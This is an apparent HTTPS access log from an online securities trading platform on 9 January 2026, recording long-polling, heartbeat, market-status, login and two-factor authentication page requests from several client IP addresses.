[09/Jan/2026:11:46:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930630675 HTTP/1.1" -
[09/Jan/2026:11:46:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930631569 HTTP/1.1" -
[09/Jan/2026:11:46:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930631694 HTTP/1.1" -
[09/Jan/2026:11:46:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930634745 HTTP/1.1" -
[09/Jan/2026:11:46:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930634696 HTTP/1.1" -
[09/Jan/2026:11:46:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930635695 HTTP/1.1" -
[09/Jan/2026:11:46:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930636637 HTTP/1.1" -
[09/Jan/2026:11:46:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930636778 HTTP/1.1" -
[09/Jan/2026:11:46:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930639797 HTTP/1.1" -
[09/Jan/2026:11:46:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930639755 HTTP/1.1" -
[09/Jan/2026:11:46:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930640737 HTTP/1.1" -
[09/Jan/2026:11:46:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930640378 HTTP/1.1" -
[09/Jan/2026:11:46:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:11:46:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930641698 HTTP/1.1" -
[09/Jan/2026:11:46:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:46:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:46:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930641849 HTTP/1.1" -
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767930643589 HTTP/1.1" 3188
[09/Jan/2026:11:46:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:46:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930644825 HTTP/1.1" -
[09/Jan/2026:11:46:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930644929 HTTP/1.1" -
[09/Jan/2026:11:46:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930645774 HTTP/1.1" -
[09/Jan/2026:11:46:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:46:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930646767 HTTP/1.1" -
[09/Jan/2026:11:46:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930646922 HTTP/1.1" -
[09/Jan/2026:11:46:21 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930649890 HTTP/1.1" -
[09/Jan/2026:11:46:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930650062 HTTP/1.1" -
[09/Jan/2026:11:46:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:46:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930650817 HTTP/1.1" -
[09/Jan/2026:11:46:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930651823 HTTP/1.1" -
[09/Jan/2026:11:46:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:46:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930651990 HTTP/1.1" -
[09/Jan/2026:11:46:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930654947 HTTP/1.1" -
[09/Jan/2026:11:46:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930655202 HTTP/1.1" -
[09/Jan/2026:11:46:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930655852 HTTP/1.1" -
[09/Jan/2026:11:46:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930656888 HTTP/1.1" -
[09/Jan/2026:11:46:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930657033 HTTP/1.1" -
[09/Jan/2026:11:46:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:11:46:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:11:46:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:46:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:46:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930660009 HTTP/1.1" -
[09/Jan/2026:11:46:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930660268 HTTP/1.1" -
[09/Jan/2026:11:46:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930660882 HTTP/1.1" -
[09/Jan/2026:11:46:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 464
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:46:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767930661889 HTTP/1.1" 3188
[09/Jan/2026:11:46:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
